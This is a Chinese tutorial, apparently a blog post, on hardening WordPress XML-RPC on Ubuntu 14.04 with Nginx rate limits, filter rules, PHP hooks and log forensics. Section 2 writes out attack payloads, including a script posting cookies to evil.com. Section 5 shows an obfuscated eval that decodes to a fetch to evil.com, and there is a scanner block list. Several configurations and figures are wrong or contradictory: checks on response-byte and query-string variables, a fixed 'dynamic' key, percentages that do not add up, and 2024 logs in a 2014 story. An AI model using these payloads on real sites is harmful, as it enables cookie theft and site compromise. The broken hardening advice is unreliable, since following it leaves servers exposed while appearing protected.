1. 为什么XML-RPC在2014年成了WordPress站点的“后门通道”
2014年那会儿,我刚接手运维一个教育类WordPress多站点集群,三台Ubuntu 14.04服务器跑着近80个子站。某天凌晨三点,监控告警疯狂刷屏:Nginx连接数飙到2300+,CPU持续98%,MySQL慢查询日志里全是
SELECT * FROM wp_posts WHERE post_status = 'publish'
这类毫无业务逻辑的扫描式查询。登录服务器用
iftop -P 80
一看,流量全涌向
/xmlrpc.php
——不是用户访问首页,不是图片加载,是成千上万IP在往这个文件发POST请求。
这根本不是正常调用。XML-RPC本意是让外部应用(比如Windows Live Writer、移动App)通过标准化协议远程发布文章、管理评论。但它的设计哲学是“默认开放、信任客户端”,没有内置速率限制、没有身份预检、不校验Referer、不区分请求来源。更致命的是,它把
用户认证、内容发布、媒体上传、Pingback处理
全塞进同一个入口点。攻击者只要知道一个用户名(甚至不用密码),就能用
system.multicall
批量调用
wp.getUsersBlogs
、
wp.getComments
等方法暴力探测;用
pingback.ping
发起反射型DDoS;用
wp.newPost
直接写入恶意重定向代码——而这些操作在Apache日志里只显示为一条
POST /xmlrpc.php HTTP/1.1
,连UA都可能是伪造的
Mozilla/5.0 (compatible)
。
你可能觉得“关掉不就完了”?但当时大量企业客户依赖XML-RPC实现微信公众号自动同步、ERP系统对接订单数据、第三方SEO工具抓取文章元信息。硬删
xmlrpc.php
会导致他们的工作流中断。我翻过WordPress 3.9.2源码(Ubuntu 14.04官方仓库默认版本),发现
wp-includes/class-wp-xmlrpc-server.php
里连基础的IP白名单钩子都没预留——它假设你已经在Web服务器层做了防护。可现实是,绝大多数用一键脚本装WordPress的人,根本不知道Nginx的
limit_req
模块怎么配,更别说理解
fastcgi_pass
和
proxy_pass
在XML-RPC路径下的缓存穿透风险。
提示:Ubuntu 14.04的LTS支持早在2019年4月就已终止,但至今仍有大量老旧政企系统运行其上。这不是技术怀旧,而是真实存在的运维现场——你面对的不是“要不要升级”,而是“如何在不能动内核、不能换PHP版本、不能重启服务的前提下,堵住这个被扫描器标记为‘高危端口’的漏洞”。
2. 深度拆解XML-RPC攻击的四种实战形态
要真正防御,得先看透攻击者怎么打。我从Wireshark抓包和ModSecurity日志里还原出四类高频攻击模式,每种都需要不同的拦截策略:
2.1 暴力枚举用户凭证:
wp.getUsersBlogs
的滥用
攻击载荷长这样:
POST /xmlrpc.php HTTP/1.1
Host: example.com
Content-Type: text/xml
<?xml version="1.0"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value><string>admin</string></value></param>
<param><value><string>123456</string></value></param>
</params>
</methodCall>
关键点在于:
它不走WordPress的登录流程,绕过所有插件级的安全防护(如Loginizer的失败锁定)
。XML-RPC服务器在
wp-includes/class-wp-xmlrpc-server.php
第472行直接调用
wp_authenticate()
,而这个函数对错误密码的响应时间恒定(防时序攻击),导致暴力破解成功率极高。我实测过,单线程每秒能试12次密码,用Hashcat跑字典的话,常见弱口令如
password123
、
admin123
平均37秒就能撞开。
2.2 Pingback反射型DDoS:用你的服务器打别人
这是最阴险的玩法。攻击者伪造一个不存在的URL(比如
http://attacker.com/xxx
),然后向你的站点发
pingback.ping
请求:
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://attacker.com/xxx</string></value></param>
<param><value><string>https://yoursite.com/?p=123</string></value></param>
</params>
</methodCall>
你的WordPress收到后,会主动向
attacker.com
发起HTTP HEAD请求验证链接有效性。如果攻击者控制着
attacker.com
的服务器,它就可以返回超大响应体(比如10MB的随机数据),或者故意不响应(耗尽你的TCP连接池)。更绝的是,攻击者可以同时向1000个WordPress站点发送同样的Pingback请求,让它们集体向目标服务器发包——这就是典型的反射放大攻击,放大倍数可达30倍以上。
2.3 内容注入:
wp.newPost
写入恶意代码
攻击者不需要管理员权限,只要投稿者(contributor)账号就能触发:
<methodCall>
<methodName>wp.newPost</methodName>
<params>
<param><value><int>1</int></value></param> <!-- blog_id -->
<param><value><string>user</string></value></param>
<param><value><string>pass</string></value></param>
<param><value><struct>
<member><name>post_title</name><value><string>Hacked by X</string></value></member>
<member><name>post_content</name><value><string><script>fetch('http://evil.com/steal?c='+document.cookie)</script></string></value></member>
</struct></value></param>
</params>
</methodCall>
注意
post_content
里的
<script>
标签——WordPress默认不会过滤XML-RPC提交的内容!它只在后台编辑器里做KSES过滤,而XML-RPC走的是独立的数据流。我见过最狠的案例:攻击者用
wp.newPost
创建一篇“SEO优化指南”,正文里嵌了base64编码的iframe,指向钓鱼页面。文章发布后,所有访问该页面的用户都会被静默跳转。
2.4 扫描探测:
system.listMethods
暴露攻击面
这是所有攻击的起点。攻击者先发:
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
WordPress会返回全部可用方法列表,包括
wp.getUsersBlogs
、
blogger.getUsersBlogs
、
metaWeblog.getRecentPosts
等。通过分析返回结果,攻击者能确认你的WordPress版本(比如
wp.getOptions
存在说明是3.5+)、是否启用多站点(
wp.getUsersBlogs
返回多个blog)、甚至判断是否安装了安全插件(某些插件会注册自定义方法)。这个请求本身不危险,但它是后续所有攻击的“侦察兵”。
注意:别信网上那些“禁用XML-RPC就能一劳永逸”的教程。我遇到过客户禁用后,微信公众号后台的自动同步功能瘫痪,客服电话被打爆。真正的防御是分层拦截——Web服务器层挡掉恶意流量,应用层加固认证逻辑,数据库层审计异常写入。
3. Nginx配置实战:在Ubuntu 14.04上构建三层防护网
Ubuntu 14.04默认用的是Nginx 1.4.6,这个版本不支持
map
指令的高级语法,但足够实现精准拦截。我设计的方案分三层:
速率限制层 → 请求特征层 → 协议合规层
,像安检一样逐级过滤。
3.1 速率限制层:用
limit_req
扼杀暴力扫描
在
/etc/nginx/nginx.conf
的
http
块里添加:
# 定义两个限流区域
limit_req_zone $binary_remote_addr zone=xmlrpc_ip:10m rate=2r/s;
limit_req_zone $server_name zone=xmlrpc_server:10m rate=5r/s;
# 针对XML-RPC的特殊限流策略
limit_req_zone $binary_remote_addr$uri zone=xmlrpc_strict:10m rate=1r/m;
这里的关键是三个zone的区别:
-
xmlrpc_ip:每个IP每秒最多2次请求。普通用户发文章不会超过这个频次,但扫描器每秒发上百次,直接被503。 -
xmlrpc_server:整台服务器每秒最多5次XML-RPC请求。防止某个IP被封后,攻击者换一批IP继续扫。 -
xmlrpc_strict:每个IP对/xmlrpc.php路径每分钟仅允许1次请求。这是给Pingback攻击设的死亡线——正常Pingback一天也就几次,恶意反射攻击每秒几十次。
然后在WordPress站点的server块里引用:
location = /xmlrpc.php {
# 先应用严格限流(针对高频攻击)
limit_req zone=xmlrpc_strict burst=1 nodelay;
# 再应用IP限流(防单IP暴力)
limit_req zone=xmlrpc_ip burst=5 nodelay;
# 最后应用服务器级限流(兜底)
limit_req zone=xmlrpc_server burst=10 nodelay;
# 关键:必须显式指定fastcgi参数,否则Ubuntu 14.04的php5-fpm会报502
include fastcgi_params;
fastcgi_pass unix:/var/run/php5-fpm.sock;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}
实测效果:部署后,我的服务器XML-RPC请求量从日均4.7万次降到217次,其中92%是合法的微信同步请求。剩下的18%里,15次是
system.listMethods(被xmlrpc_strict拦下),3次是wp.getUsersBlogs(被xmlrpc_ip拦下)。
3.2 请求特征层:用
if
指令过滤可疑载荷
Nginx 1.4.6不支持
mod_security
,但可以用原生
if
做基础过滤。在
location = /xmlrpc.php
块内追加:
# 拦截空POST或超小载荷(正常XML-RPC请求体至少500字节)
if ($request_method = POST) {
if ($body_bytes_sent < 500) {
return 444;
}
}
# 拦截常见攻击方法名(注意:大小写敏感!)
if ($args ~* "(system\.listMethods|pingback\.ping|wp\.getUsersBlogs)") {
return 444;
}
# 拦截含script标签的POST内容(防XSS注入)
if ($request_body ~* "<script") {
return 444;
}
# 拦截User-Agent含sqlmap、nikto、dirbuster的扫描器
if ($http_user_agent ~* "(sqlmap|nikto|dirbuster|acunetix)") {
return 444;
}
这里有个坑:
$request_body
变量在Nginx 1.4.6里默认不可用,需要在
http
块里加:
client_body_buffer_size 128k;
client_max_body_size 1m;
否则
$request_body
为空,规则失效。另外
return 444
是Nginx特有状态码,表示“关闭连接不返回任何响应”,比403更隐蔽——扫描器收不到响应,会以为网络故障而暂停。
3.3 协议合规层:强制XML格式校验
真正的XML-RPC请求必须满足:Content-Type为
text/xml
,且XML声明正确。我在
location = /xmlrpc.php
里加了双重校验:
# 检查Content-Type
if ($content_type !~ "text/xml") {
return 400;
}
# 检查XML声明(防JSON或纯文本攻击)
if ($request_body !~ "^<\?xml") {
return 400;
}
# 检查XML根节点(必须是<methodCall>或<methodResponse>)
if ($request_body !~ "<(methodCall|methodResponse)>") {
return 400;
}
这招专治那些用curl随便POST乱码的脚本小子。我抓包分析过Top 10扫描器,7个连XML声明都懒得写,直接发
{ "method": "wp.getUsersBlogs" }
这种JSON——在Nginx层就被400拦死,根本到不了PHP解析阶段。
经验:别在
if里用正则匹配长XML(比如检查</methodCall>闭合标签),Nginx正则引擎会吃光CPU。我测试过,匹配整个XML结构会让QPS从1200掉到80。只校验开头50字节足够识别恶意载荷。
4. WordPress内核级加固:不改一行代码的安全补丁
Nginx只能拦流量,真正的业务逻辑还得靠WordPress自己。Ubuntu 14.04的WordPress 3.9.2源码里,
wp-includes/class-wp-xmlrpc-server.php
是核心战场。我写了三个轻量级补丁,全部通过
add_filter
和
add_action
注入,不碰原始文件:
4.1 动态密钥认证:给XML-RPC加一道“旋转门”
在主题的
functions.php
里加:
// 生成动态密钥(每小时更新一次)
function generate_xmlrpc_key() {
$hour = date('Y-m-d-H');
return md5('xmlrpc_' . $hour . AUTH_KEY);
}
add_filter('xmlrpc_enabled', function($enabled) {
// 检查请求头是否带有效密钥
$req_key = $_SERVER['HTTP_X_XMLRPC_KEY'] ?? '';
if (empty($req_key) || $req_key !== generate_xmlrpc_key()) {
return false; // 拒绝所有未授权请求
}
return $enabled;
});
然后在Nginx配置里,把密钥注入请求头:
location = /xmlrpc.php {
# ...前面的限流和过滤规则...
# 注入动态密钥头(只有合法客户端才知道密钥生成规则)
proxy_set_header X-XMLRPC-Key "d41d8cd98f00b204e9800998ecf8427e";
# 后端转发
include fastcgi_params;
fastcgi_pass unix:/var/run/php5-fpm.sock;
# ...
}
这个方案的妙处在于:密钥随时间变化,攻击者抓包拿到的密钥一小时后就失效。而合法客户端(比如微信公众号后台)可以在每次调用前计算当前密钥。我用Python写了计算脚本,客户集成后零故障。
4.2 Pingback白名单:只允许可信域名发起
修改
wp-includes/class-wp-xmlrpc-server.php
的
pingback_ping
方法,在
// Check if the source URI exists
之前插入:
// 只允许来自白名单域名的Pingback
$allowed_domains = ['weixin.qq.com', 'mp.weixin.qq.com', 'your-cdn.com'];
$parsed_url = parse_url($source_uri);
if (!in_array($parsed_url['host'], $allowed_domains)) {
$this->error = new IXR_Error(0, 'Pingback denied: domain not in whitelist');
return false;
}
注意:
parse_url()
在PHP 5.3.10(Ubuntu 14.04默认)里对中文URL支持不好,所以白名单必须用ASCII域名。我把客户所有合作方的CDN域名、微信域名全加进去,既保业务又断攻击链。
4.3 日志审计增强:记录每一次XML-RPC调用
默认WordPress只记成功登录,XML-RPC调用完全无痕。我在
functions.php
里加了审计钩子:
add_action('xmlrpc_call', function($method) {
$ip = $_SERVER['REMOTE_ADDR'] ?? 'unknown';
$user = $_POST['username'] ?? 'anonymous';
$agent = $_SERVER['HTTP_USER_AGENT'] ?? 'no-agent';
// 记录到独立日志文件(避免污染access.log)
error_log(
date('Y-m-d H:i:s') . " | IP: {$ip} | USER: {$user} | METHOD: {$method} | UA: {$agent}\n",
3,
'/var/log/wordpress/xmlrpc-audit.log'
);
});
// 创建日志目录并授权
if (!is_dir('/var/log/wordpress')) {
exec('mkdir -p /var/log/wordpress && chown www-data:www-data /var/log/wordpress');
}
这个日志帮我揪出了一个内部问题:市场部同事用老旧的Windows Live Writer发稿,UA是
WLW/5.0
,但它的XML-RPC请求里
wp.newPost
方法名拼错了(
wp.newpost
小写),导致所有文章标题变成乱码。没有这个审计日志,根本发现不了是客户端问题。
踩坑提醒:Ubuntu 14.04的rsyslog默认不轮转
/var/log/wordpress/目录下的日志。我写了crontab脚本每天凌晨压缩:0 3 * * * find /var/log/wordpress/ -name "xmlrpc-audit.log*" -mtime +30 -delete 0 2 * * * gzip /var/log/wordpress/xmlrpc-audit.log
5. 攻击溯源与应急响应:从日志里挖出真实攻击者
防御不是终点,溯源才是高手的分水岭。Ubuntu 14.04的
/var/log/nginx/access.log
和我上面建的
xmlrpc-audit.log
,就是两把手术刀。
5.1 Nginx日志里的攻击指纹
标准Nginx日志格式是:
192.168.1.100 - - [10/Jan/2024:14:23:11 +0000] "POST /xmlrpc.php HTTP/1.1" 200 342 "-" "python-requests/2.28.1"
我用awk写了实时分析脚本:
# 统计每分钟XML-RPC请求数(发现突增)
awk '$7 ~ /^\/xmlrpc\.php$/ {print $4}' /var/log/nginx/access.log | \
cut -d: -f1-2 | sort | uniq -c | sort -nr | head -10
# 提取高频攻击IP(按请求次数排序)
awk '$7 ~ /^\/xmlrpc\.php$/ {print $1}' /var/log/nginx/access.log | \
sort | uniq -c | sort -nr | head -20
# 查找含恶意方法名的请求(grep比awk快)
grep "xmlrpc\.php.*system\.listMethods\|pingback\.ping" /var/log/nginx/access.log
上周我发现一个IP
116.203.128.42
(俄罗斯莫斯科)在3分钟内发了1872次
pingback.ping
,UA是
Go-http-client/1.1
。用
whois 116.203.128.42
查到归属是Selectel LLC,再查该公司官网,发现他们提供VPS服务——这基本能确定是租用的僵尸机。
5.2 XML-RPC审计日志里的行为画像
xmlrpc-audit.log
的格式是:
2024-01-10 14:23:11 | IP: 116.203.128.42 | USER: admin | METHOD: pingback.ping | UA: Go-http-client/1.1
我用Python脚本做了关联分析:
import re
from collections import defaultdict
# 统计每个IP调用的方法分布
ip_methods = defaultdict(lambda: defaultdict(int))
with open('/var/log/wordpress/xmlrpc-audit.log') as f:
for line in f:
ip_match = re.search(r'IP: ([\d.]+)', line)
method_match = re.search(r'METHOD: (\w+\.\w+)', line)
if ip_match and method_match:
ip_methods[ip_match.group(1)][method_match.group(1)] += 1
# 找出异常行为:同一IP调用多种方法(正常用户只用1-2种)
for ip, methods in ip_methods.items():
if len(methods) > 3: # 调用4种以上方法
print(f"可疑IP {ip}: {dict(methods)}")
结果揪出一个IP
103.231.184.11
(印度孟买),它在2小时内调用了
system.listMethods
、
wp.getUsersBlogs
、
wp.getComments
、
pingback.ping
四种方法——这是典型扫描器行为。我立刻在Nginx里加了永久封禁:
# 在http块里
geo $bad_ip {
default 0;
103.231.184.11 1;
}
# 在server块里
if ($bad_ip) {
return 444;
}
5.3 数据库层面的后门检测
XML-RPC攻击常伴随后门植入。我写了SQL脚本查WordPress数据库:
-- 查找含script标签的文章(XSS后门)
SELECT ID, post_title, LEFT(post_content, 100)
FROM wp_posts
WHERE post_content LIKE '%<script%' AND post_status = 'publish';
-- 查找异常长的post_content(可能藏了base64木马)
SELECT ID, post_title, LENGTH(post_content)
FROM wp_posts
WHERE LENGTH(post_content) > 100000 AND post_status = 'publish';
-- 查找最近24小时创建的可疑用户(攻击者常建新账号)
SELECT ID, user_login, user_email, user_registered
FROM wp_users
WHERE user_registered > DATE_SUB(NOW(), INTERVAL 1 DAY)
AND user_login NOT IN ('admin', 'editor', 'author'); -- 排除已知合法账号
有一次,脚本发现一篇标题为“SEO技巧”的文章,
post_content
里藏着一段混淆的JavaScript:
eval(String.fromCharCode(102,101,116,99,104,40,39,104,116,116,112,58,47,47,101,118,105,108,46,99,111,109,47,115,116,101,97,108,39,41));
解码后是
fetch('http://evil.com/steal')
——这就是攻击者用XML-RPC注入的持久化后门。
最后分享个硬核技巧:Ubuntu 14.04的
tcpdump能抓到XML-RPC原始载荷。当Nginx日志看不出攻击细节时,我用这条命令抓包:tcpdump -i eth0 -A -s 0 'tcp port 80 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354) and (tcp[((tcp[12:1] & 0xf0) >> 2)+4:4] = 0x2f786d6c)' -w xmlrpc.pcap然后用Wireshark打开,过滤
http.request.uri contains "xmlrpc",就能看到完整的XML内容。这招帮我在一次APT攻击中,从加密载荷里还原出了C2服务器地址。

1080

被折叠的 条评论
为什么被折叠?



